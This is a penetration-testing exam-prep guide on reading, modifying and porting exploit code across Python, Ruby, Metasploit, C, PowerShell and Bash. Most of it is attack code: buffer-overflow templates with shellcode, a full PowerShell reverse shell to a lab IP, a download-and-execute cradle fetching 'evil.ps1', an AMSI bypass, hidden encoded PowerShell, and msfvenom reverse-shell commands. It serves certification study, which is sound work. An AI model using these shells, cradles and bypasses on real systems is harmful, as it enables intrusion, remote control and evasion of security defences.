Exploit Formats
Overview
During the OSCP exam, you will encounter exploits written in many different languages and formats. The ability to quickly read, understand, and modify exploit code is a critical skill. Most exploits you’ll find on Exploit-DB, GitHub, or search engines will be in one of the following formats:
| Format | Frequency on OSCP | Typical Use Case |
|---|---|---|
| Python | ~60-70% | Network exploits, web exploits, local privesc |
| Metasploit (Ruby) | ~15-20% | When a module already exists |
| C/C | ~5-10% | Buffer overflows, kernel exploits, shellcode |
| PowerShell | ~5% | Windows-specific exploits, post-exploitation |
| Shell Script (Bash) | ~2-3% | Simple network exploits, wrapper scripts |
| Ruby (standalone) | ~2-3% | Standalone exploits outside Metasploit |
This guide covers each format in depth, with practical examples and OSCP-focused tips.
1. Python Exploits
Why Python Dominates
Python is by far the most common exploit language on Exploit-DB and in the OSCP exam. Reasons include:
- Readability: Easy to understand even if you’re not a Python expert
- Standard library: Built-in
socket,struct,subprocessmodules cover most exploit needs - Cross-platform: Works on Linux, Windows, and macOS without modification
- Rapid development: Prototyping exploits is fast
- Community support: Most exploit authors default to Python
Common Libraries
| Library | Purpose | OSCP Relevance |
|---|---|---|
socket |
Raw TCP/UDP connections | Critical — used in 90%+ of network exploits |
struct |
Pack/unpack binary data | Critical — for crafting binary payloads |
requests |
HTTP requests | High — for web exploits |
subprocess |
Execute system commands | Medium — for local privesc exploits |
pwntools |
CTF/exploit framework | Low-Medium — more common in CTFs than OSCP |
sys |
System parameters, argv | High — for command-line arguments |
os |
OS-level operations | Medium — file operations, environment |
time |
Delays, timing | Low — for race conditions |
Typical Python Exploit Structure
#!/usr/bin/env python
# Exploit Title: [Title]
# Date: [Date]
# Exploit Author: [Author]
# Version: [Version]
# Tested on: [OS/Version]
# CVE: [CVE Number]
import socket
import struct
import sys
# --- Configuration ---
if len(sys.argv) != 3:
print("Usage: %s <target_ip> <target_port>" % sys.argv[0])
sys.exit(1)
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
# --- Payload Construction ---
# Step 1: Determine offset (EIP control)
offset = 200 # Found via pattern_create/pattern_offset
# Step 2: Find bad characters
badchars = '\x00\x0a\x0d' # Null, newline, carriage return
# Step 3: Find JMP ESP address
jmp_esp = '\x90\x90\x10\x62' # Example: 0x62109090 (little-endian)
# Step 4: Generate shellcode
shellcode = (
"\x90" * 16 + # NOP sled
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"
"\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28" # Reverse shell stub
)
# Step 5: Build the buffer
buffer = (
"A" * offset + # Padding to reach EIP
jmp_esp + # Overwrite EIP with JMP ESP
"\x90" * 8 + # Small NOP sled after EIP
shellcode # Shellcode payload
)
# --- Send Exploit ---
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
# Craft the request (example: HTTP-style)
request = "OVERFLOW: " + buffer + "\r\n\r\n"
s.send(request.encode())
print("[+] Exploit sent to %s:%d" % (target_ip, target_port))
s.close()
except Exception as e:
print("[-] Error: %s" % str(e))
sys.exit(1)
How to Read/Modify Python Exploits
Reading strategy (top to bottom):
- Shebang and imports — What libraries does it use?
socket= network exploit,subprocess= local exploit - Argument parsing — What inputs does it need? (IP, port, filename)
- Configuration variables — Look for
offset,jmp_esp,buffer,shellcode - Payload construction — How is the exploit buffer built?
- Delivery mechanism — How is the payload sent? (socket, HTTP, file write)
- Error handling — What happens on failure?
Common modification points:
# Change target
target_ip = "10.10.10.100" # <-- Change this
target_port = 80 # <-- Change this
# Change shellcode (replace with msfvenom output)
# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.x LPORT=443 -f python
shellcode = b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xd2"
# ... etc
# Change offset if the exploit doesn't work
offset = 200 # <-- Adjust based on your target
Common Python Exploit Patterns
Network Exploit Pattern:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(payload)
s.close()
Web Exploit Pattern:
import requests
url = "http://target/vulnerable_endpoint"
data = {"param": malicious_payload}
response = requests.post(url, data=data)
Local Privilege Escalation Pattern:
import subprocess
# Exploit a SUID binary or kernel vulnerability
subprocess.call(["./vulnerable_suid_binary", payload])
2. Ruby Exploits
When Ruby is Used
Ruby exploits appear in two main contexts:
- Metasploit modules — The vast majority of Ruby exploits are Metasploit modules
- Standalone exploits — Less common, but you’ll see them on Exploit-DB
Ruby was popular for exploits because Metasploit is written in Ruby, and the Rex library provides powerful exploit primitives.
Common Ruby Frameworks and Libraries
| Library | Purpose |
|---|---|
rex/socket |
Network socket operations (Metasploit core) |
rex/payload |
Payload generation and handling |
rex/text |
Text encoding, encoding payloads |
rack |
Web server framework (for web exploits) |
nokogiri |
HTML/XML parsing (for web app exploits) |
net/http |
Standard HTTP client |
uri |
URL parsing and manipulation |
Standalone Ruby Exploit Structure
#!/usr/bin/env ruby
# Exploit Title: [Title]
# Date: [Date]
# Exploit Author: [Author]
require 'socket'
require 'base64'
# Configuration
TARGET = '10.10.10.100'
PORT = 80
# Build payload
offset = 'A' * 200
jmp_esp = [0x62109090].pack('V') # Little-endian
nopsled = "\x90" * 16
# Shellcode (Base64 encoded for safety)
shellcode_b64 = "3w6CAABgietx0nQIyQ..."
shellcode = Base64.decode64(shellcode_b64)
buffer = offset + jmp_esp + nopsled + shellcode
# Send exploit
begin
sock = TCPSocket.new(TARGET, PORT)
sock.puts("VULN_CMD #{buffer}")
sock.close
puts "[+] Exploit sent!"
rescue => e
puts "[-] Error: #{e.message}"
end
Key Ruby-Specific Patterns
# Pack integers to little-endian bytes (equivalent to Python's struct.pack)
addr = [0x7efde216].pack('V') # Little-endian 32-bit
addr = [0x7efde216].pack('N') # Big-endian 32-bit
addr = [0x7fffffffffd216].pack('Q') # Little-endian 64-bit
# Base64 encoding/decoding (common in Ruby exploits)
require 'base64'
encoded = Base64.encode64(payload)
decoded = Base64.decode64(encoded)
# String repetition
padding = "A" * 500
nops = "\x90" * 16
3. Metasploit Module Format
Full Module Structure Breakdown
Every Metasploit exploit module follows a strict structure. Understanding this is essential for the OSCP exam.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
# --- Include mixins ---
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Example Application Remote Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in Example App.
},
'Author' => [
'Original Discovery',
'MSF Module Author'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2024-1234'],
['EDB', '12345'],
['URL', 'https://example.com/advisory']
],
'Privileged' => false,
'Payload' => {
'Space' => 500, # Max payload size
'BadChars' => "\x00\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win', # or 'linux', 'unix', etc.
'Arch' => ARCH_X86, # or ARCH_X64, ARCH_CMD, etc.
'Targets' => [
['Windows 7 / 8 / 10', {
'Ret' => 0x62109090, # JMP ESP address
'Offset' => 200,
}],
['Windows Server 2012', {
'Ret' => 0x74f0b000,
'Offset' => 200,
}],
['Automatic', 'auto'],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 01 2024'
))
# Register options
register_options([
Opt::RPORT(80),
OptString.new('USERNAME', [false, 'Username', '']),
OptString.new('PASSWORD', [false, 'Password', '']),
])
end
# --- Check method (optional but recommended) ---
def check
begin
connect
# Send a probe request
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/version'),
})
if res && res.code == 200 && res.body =~ /Example App v1\.0/
return CheckCode::Appears
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable
return CheckCode::Safe
rescue ::Timeout::Error, ::Rex::ConnectionTimeout
return CheckCode::Unknown
ensure
disconnect
end
CheckCode::Safe
end
# --- Exploit method (required) ---
def exploit
# Pre-exploit checks
print_status("Target: #{target.name}")
# Build the exploit buffer
offset = target['Offset']
ret = [target.ret].pack('V')
sploit = "A" * offset + ret + "\x90" * 8 + payload.encoded
# Send the exploit
begin
connect
sock.put("VULN_CMD #{sploit}\r\n")
handler # Spawn the payload handler
disconnect
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable
fail_with(Failure::Unreachable, 'Target unreachable')
rescue ::Timeout::Error, ::Rex::ConnectionTimeout
fail_with(Failure::Timeout, 'Connection timed out')
rescue => e
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
end
end
end
Rank Values
Metasploit modules have a rank that indicates reliability:
| Rank | Value | Meaning |
|---|---|---|
ExcellentRanking |
Highest | Tested, reliable, works consistently |
GreatRanking |
High | Works well, minor issues possible |
NormalRanking |
Default | Standard reliability |
AverageRanking |
Below average | May not work on all targets |
ManualRanking |
Low | Requires manual configuration |
UnkownRanking |
Lowest | Unverified |
Converting Standalone Exploits to Metasploit Modules
Step-by-step conversion process:
- Identify the exploit type — Remote (network) or local?
- Determine the mixin —
Msf::Exploit::Remote::Tcp,HttpClient,Fileformat, etc. - Extract configuration — Pull out IP, port, offset, return address into options/targets
- Wrap payload construction — Replace hardcoded shellcode with
payload.encoded - Add check method — Implement version detection if possible
- Add error handling — Wrap network operations in rescue blocks
- Test — Verify with
msfconsole
# Quick conversion template
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Converted Exploit',
'Description' => 'Converted from standalone exploit',
'Author' => ['You'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' => [['Automatic', {}]],
'DefaultTarget'=> 0
))
register_options([Opt::RHOST, Opt::RPORT(80)])
end
def exploit
connect
# ... exploit logic using payload.encoded ...
handler
disconnect
end
end
4. C/C Exploits
When C is Used
C/C exploits are common for:
- Stack/heap buffer overflows — Direct memory manipulation
- Kernel exploits — Ring 0 vulnerabilities
- Shellcode — Raw machine code
- Format string vulnerabilities — Direct memory writes
- Use-after-free / heap spraying — Low-level memory corruption
Reading C Exploit Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
// Shellcode - raw bytes
unsigned char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\xb0\x0b\xcd\x80"; // Linux /bin/sh
int main(int argc, char *argv[]) {
char buffer[1024];
char *ptr;
int i;
struct sockaddr_in target;
if (argc < 2) {
printf("Usage: %s <target_ip>\n", argv[0]);
exit(1);
}
// Build the exploit buffer
memset(buffer, 0x90, sizeof(buffer)); // NOP sled
// Calculate offset to EIP
int offset = 200;
// Fill with NOPs up to offset
memset(buffer, '\x90', offset);
// Place return address (little-endian)
ptr = buffer + offset;
*(unsigned long *)ptr = 0x62109090; // JMP ESP
// Place shellcode after return address
ptr = buffer + offset + 4 + 8; // +4 for ret addr, +8 for NOPs
memcpy(ptr, shellcode, sizeof(shellcode));
// Connect to target
target.sin_family = AF_INET;
target.sin_port = htons(80);
inet_pton(AF_INET, argv[1], &target.sin_addr);
int sock = socket(AF_INET, SOCK_STREAM, 0);
connect(sock, (struct sockaddr *)&target, sizeof(target));
// Send the exploit
send(sock, buffer, sizeof(buffer), 0);
close(sock);
return 0;
}
Compiling C Exploits
# Basic compilation
gcc exploit.c -o exploit
# No stack protector (important for some exploits)
gcc -fno-stack-protector -z execstack exploit.c -o exploit
# Position-independent (for certain exploits)
gcc -fno-stack-protector -z execstack -fno-pic exploit.c -o exploit
# 32-bit on 64-bit system
gcc -m32 -fno-stack-protector -z execstack exploit.c -o exploit
# Static linking (for transfer to target)
gcc -static -fno-stack-protector exploit.c -o exploit
Common C Exploit Patterns
| Pattern | Code Snippet | Purpose |
|---|---|---|
| NOP sled | memset(buf, '\x90', size) |
Fill with NOP instructions |
| Little-endian addr | *(long*)ptr = 0xADDR |
Write return address |
| Shellcode embed | unsigned char sc[] = "\x90..." |
Embed raw shellcode |
| Socket connect | connect(sock, &addr, sizeof(addr)) |
Network delivery |
| System exec | system("/bin/sh") |
Shell execution |
| Format string | printf("%n") |
Arbitrary write |
5. PowerShell Exploits
Windows-Focused Exploits
PowerShell is the go-to language for Windows exploitation, especially in the OSCP exam for:
- Post-exploitation — Lateral movement, credential dumping
- MS16-032 (BitLocker bypass) — PowerShell-based
- CVE-2021-34527 (PrintNightmare) — PowerShell delivery
- Token manipulation —
whoami /all, token impersonation - Active Directory attacks — DCSync, Kerberoasting
Common PowerShell Exploit Patterns
# Reverse shell (common in OSCP)
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.5", 443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
# Download and execute (common attack pattern)
(IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.5/evil.ps1"))
# Invoke-Expression with encoded command
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA...
# Bypass execution policy
powershell -ExecutionPolicy Bypass -File exploit.ps1
Obfuscation and Execution Bypass
PowerShell exploits often use obfuscation to bypass security controls:
# Common bypass techniques seen in exploits
powershell -nop -w hidden -enc <base64_encoded_payload>
powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://...')"
# AMSI bypass (seen in advanced exploits)
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$amsi.GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
When PowerShell is the Format of Choice
- Target is Windows-only and no other exploit format is available
- The vulnerability requires Windows-specific APIs
- The exploit needs to interact with Active Directory, registry, or WMI
- You need post-exploitation capabilities on Windows
6. Shell Script Exploits
Bash Exploits
Shell script exploits are the simplest format but have significant limitations. They appear when:
- The vulnerability can be triggered via simple network commands (netcat, curl, wget)
- The exploit is a wrapper around another tool
- The vulnerability is in a command-line application
Example Shell Script Exploit
#!/bin/bash
# Exploit Title: Simple Buffer Overflow via Netcat
# Date: 2024-01-01
# Exploit Author: Example
TARGET=$1
PORT=${2:-80}
if [ -z "$TARGET" ]; then
echo "Usage: $0 <target_ip> [port]"
exit 1
fi
# Generate payload
OFFSET=$(python3 -c "print('A' * 200)")
JMP_ESP=$(python3 -c "import struct; print(struct.pack('<I', 0x62109090))")
NOPS=$(python3 -c "print('\x90' * 16)")
# Build and send
PAYLOAD="${OFFSET}${JMP_ESP}${NOPS}"
echo -ne "VULN_CMD ${PAYLOAD}\r\n" | nc -w 5 $TARGET $PORT
echo "[+] Exploit sent to $TARGET:$PORT"
Limitations
| Limitation | Impact |
|---|---|
| No binary data handling | Cannot easily craft binary payloads |
| No struct packing | Cannot pack integers to bytes natively |
| Limited error handling | Hard to handle connection failures gracefully |
| Platform-dependent | May not work on Windows without WSL/Cygwin |
| No payload encoding | Cannot easily encode/decode shellcode |
OSCP tip: Shell script exploits are rare as standalone exploits. When you see one, it’s usually a wrapper that calls Python or another tool internally.
7. Exploit Adapter/Wrapper Scripts
What Are Adapter Scripts?
Adapter scripts wrap an exploit payload with delivery logic. They are common when:
- An exploit needs to be delivered via a specific protocol (HTTP, FTP, SMB)
- The raw exploit needs encoding/decoding before delivery
- Multiple exploits need a unified interface
Common Adapter Patterns
HTTP Wrapper:
import http.server
import socketserver
class ExploitHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
if self.path == '/exploit':
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
# Serve the exploit payload
self.wfile.write(exploit_payload.encode())
else:
super().do_GET()
with socketserver.TCPServer(("", 80), ExploitHandler) as httpd:
httpd.serve_forever()
Payload Wrapper Pattern:
# Common pattern: exploit generates payload, wrapper delivers it
import subprocess
import sys
# Generate shellcode with msfvenom
msfvenom_cmd = [
"msfvenom",
"-p", "windows/shell_reverse_tcp",
"LHOST=10.10.14.5",
"LPORT=443",
"-f", "python",
"-b", "\x00\x0a\x0d"
]
result = subprocess.run(msfvenom_cmd, capture_output=True, text=True)
shellcode = result.stdout
# Now use shellcode in the exploit
Exploit-DB Wrapper Scripts
Many Exploit-DB entries include a README or wrapper that explains how to use the exploit:
# Typical wrapper usage
python3 exploit.py --help
python3 exploit.py -t 10.10.10.100 -p 80 -o 200 -r 0x62109090
8. Reading Exploit Code Quickly
Rapid Exploit Analysis Framework
When you encounter an exploit you’ve never seen before, follow this 5-step process:
Step 1: Identify the Language and Framework (10 seconds)
File extension: .py → Python, .rb → Ruby, .c → C, .ps1 → PowerShell
Shebang: #!/usr/bin/env python → Python
Class definition: class MetasploitModule → Metasploit module
Step 2: Find the Configuration Section (30 seconds)
Look for these patterns:
| Language | What to Look For |
|---|---|
| Python | sys.argv, target =, port =, offset =, jmp_ |
| Ruby | TARGET =, PORT =, target.ret, register_options |
| C | main(int argc, char *argv[]), #define, global variables |
| PowerShell | $target, $port, parameter blocks |
Step 3: Locate the Payload Construction (30 seconds)
Search for these keywords:
Python: buffer =, payload =, shellcode =, struct.pack
Ruby: buffer =, payload.encoded, sploit =
C: memcpy, memset, shellcode[], buffer[]
PowerShell: $payload, $buffer, Invoke-
Step 4: Find the Delivery Mechanism (20 seconds)
| Delivery Method | Code Pattern |
|---|---|
| TCP socket | socket.connect(), TCPSocket.new, connect() |
| HTTP request | requests.post(), send_request_cgi, curl |
| File write | open().write(), File.write, fopen() |
| System exec | subprocess.call(), system(), exec() |
Step 5: Identify Modification Points (1 minute)
1. Target IP/Port → Change to your target
2. Shellcode → Replace with msfvenom output
3. Offset → May need adjustment
4. Return address → May need new address for your target
5. Bad characters → May need to adjust encoding
Quick Reference: What to Search For
# In any exploit file, search for these patterns:
grep -n "target\|host\|ip\|port\|offset\|shellcode\|payload\|buffer\|jmp\|ret" exploit.py
grep -n "connect\|send\|write\|exec\|system" exploit.py
grep -n "TODO\|FIXME\|CHANGE\|EDIT\|MODIFY" exploit.py
9. Modifying Exploits
Common Modifications Needed
1. Changing Target IP and Port
# Before
target = "192.168.1.100"
port = 8080
# After (your OSCP target)
target = "10.10.10.100"
port = 80
2. Adjusting Payloads
# Generate new shellcode with msfvenom
# For Windows x86 reverse TCP:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f python -b '\x00\x0a\x0d'
# For Linux x86 reverse TCP:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f python -b '\x00'
# For command execution (no encoder needed):
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.5 LPORT=443 -f raw
3. Fixing Deprecated Functions
# Python 2 (deprecated)
print "Hello" # → Python 3: print("Hello")
raw_input() # → Python 3: input()
xrange() # → Python 3: range()
urllib2.urlopen() # → Python 3: urllib.request.urlopen()
# Socket changes
sock.send(data) # → sock.send(data.encode()) if data is string
sock.recv(1024) # Returns bytes in Python 3, decode if needed
4. Adjusting Offsets and Return Addresses
# If the exploit doesn't work, you may need to:
# 1. Recalculate the offset using pattern_create/pattern_offset
# 2. Find a new JMP ESP address for the target's libraries
# Use mona.py in Immunity Debugger:
# !mona pattern_create 1000
# !mona pattern_offset <EIP_value>
# !mona find -s "\xff\xe4" -m *.dll # Find JMP ESP
Systematic Modification Checklist
[ ] 1. Change target IP to OSCP machine IP
[ ] 2. Change target port if needed
[ ] 3. Generate new shellcode with correct LHOST (your TUN0 IP)
[ ] 4. Verify bad characters match your shellcode
[ ] 5. Check if offset needs adjustment
[ ] 6. Check if return address needs updating
[ ] 7. Set up listener (nc -lvnp 443 or msfconsole)
[ ] 8. Test with a simple connection first
[ ] 9. Run the exploit
[ ] 10. If no shell, check logs and adjust
10. Python 2 to 3 Migration
Why This Matters
Many exploits on Exploit-DB were written for Python 2, which reached end-of-life in January 2020. Most modern Kali Linux installations default to Python 3. You must be able to migrate these exploits.
Common Python 2 → 3 Issues
| Python 2 Code | Python 3 Fix | Explanation |
|---|---|---|
print "text" |
print("text") |
Print is a function in Py3 |
raw_input() |
input() |
raw_input removed in Py3 |
xrange(n) |
range(n) |
xrange removed, range is now lazy |
dict.has_key(k) |
k in dict |
has_key removed |
except Exception, e: |
except Exception as e: |
Syntax change |
string + bytes |
Need .encode() / .decode() |
Strings are Unicode in Py3 |
urllib2 |
urllib.request |
Module reorganized |
"/" division |
// for integer division |
/ returns float in Py3 |
file() |
open() |
file() constructor removed |
iteritems() |
items() |
Dict method renamed |
Socket Data Handling (Most Critical)
This is the #1 issue when migrating exploit code:
# Python 2 — strings and bytes are the same
payload = "A" * 200 + "\x90" * 16 + shellcode
sock.send(payload)
# Python 3 — strings are Unicode, bytes are separate
# WRONG (will fail):
payload = "A" * 200 + "\x90" * 16 + shellcode
sock.send(payload) # TypeError: a bytes-like object is required
# CORRECT — use bytes throughout:
payload = b"A" * 200 + b"\x90" * 16 + shellcode_bytes
sock.send(payload)
# OR encode strings:
sock.send(payload.encode())
Struct Packing Changes
# Python 2
data = struct.pack("I", 0x62109090) # Returns str (bytes)
# Python 3
data = struct.pack("I", 0x62109090) # Returns bytes (same result, but type differs)
# The result is the same, but you must be consistent with bytes vs str
Systematic Migration Script
# Auto-fix common Python 2 → 3 issues
import re
def migrate_py2_to_py3(code):
fixes = [
# Print statements
(r'print\s+(".*?")', r'print(\1)'),
(r'print\s+(\'.*?\')', r'print(\1)'),
# Exception handling
(r'except\s+(\w+)\s*,\s*(\w+):', r'except \1 as \2:'),
# xrange → range
(r'xrange\(', r'range('),
# raw_input → input
(r'raw_input\(', r'input('),
# has_key → in
(r'(\w+)\.has_key\((\w+)\)', r'\2 in \1'),
# iteritems → items
(r'(\w+)\.iteritems\(', r'\1.items('),
# itervalues → values
(r'(\w+)\.itervalues\(', r'\1.values('),
# iterkeys → keys
(r'(\w+)\.iterkeys\(', r'\1.keys(',
]
for pattern, replacement in fixes:
code = re.sub(pattern, replacement, code)
return code
Manual Migration Checklist
[ ] 1. Change shebang: #!/usr/bin/env python2 → #!/usr/bin/env python3
[ ] 2. Fix all print statements to print()
[ ] 3. Fix all string/bytes mixing (add b'' prefix or .encode())
[ ] 4. Fix exception syntax (except X as e:)
[ ] 5. Replace xrange() with range()
[ ] 6. Replace raw_input() with input()
[ ] 7. Replace urllib2 with urllib.request
[ ] 8. Replace dict.has_key() with 'in' operator
[ ] 9. Replace .iteritems() with .items()
[ ] 10. Test the exploit after migration
Quick Migration Command
# Use 2to3 tool (comes with Python 3)
2to3 -w exploit.py
# This creates exploit.py.fixed with most fixes applied
# But ALWAYS review the output manually — 2to3 doesn't catch everything
# especially string/bytes issues in exploit code
OSCP Exam Tips
Before the Exam
- Practice reading exploits — Pick 5 random exploits from Exploit-DB and trace through the code
- Practice Python 2 → 3 migration — Take old exploits and make them work on Python 3
- Know msfvenom flags — Practice generating shellcode in different formats
- Bookmark this page — You’ll reference exploit format knowledge constantly
During the Exam
- Always check the exploit date — Newer exploits are more likely to work
- Read the comments first — Authors often include usage instructions
- Check for Python 2 vs 3 — Look at the shebang line
- Verify bad characters — Make sure your shellcode doesn’t contain them
- Start with the simplest exploit — Don’t overcomplicate; the first working exploit is the best one
- Have a backup plan — If Python fails, try Metasploit; if Metasploit fails, try manual exploitation
Common Exam Scenarios
| Scenario | Best Approach |
|---|---|
| Exploit works but no shell | Check firewall, try different port, verify LHOST |
| Python 2 exploit on Kali | Migrate to Python 3 or use python2 command |
| Exploit crashes target | Adjust offset, try different return address |
| Shellcode contains bad chars | Use msfvenom encoder (-e x86/shikata_ga_nai) |
| Metasploit module fails | Try standalone exploit instead |
| Windows target, no Python | Try PowerShell exploit or Metasploit |
Summary
| Format | When to Use | Key Skill |
|---|---|---|
| Python | Default choice for most exploits | Reading/modifying socket-based exploits |
| Metasploit | When a module exists and works | Configuring targets, payloads, options |
| C/C | Buffer overflows, kernel exploits | Compiling, understanding memory layout |
| PowerShell | Windows-specific attacks | Understanding Windows execution |
| Shell Script | Simple network exploits | Quick-and-dirty delivery |
| Ruby | Metasploit ecosystem | Module structure, Rex library |
The most important skill is reading exploit code quickly. You don’t need to be an expert programmer — you need to be able to identify the key components (target, payload, delivery) and modify them for your specific situation. Practice this skill regularly, and it will become second nature during the exam.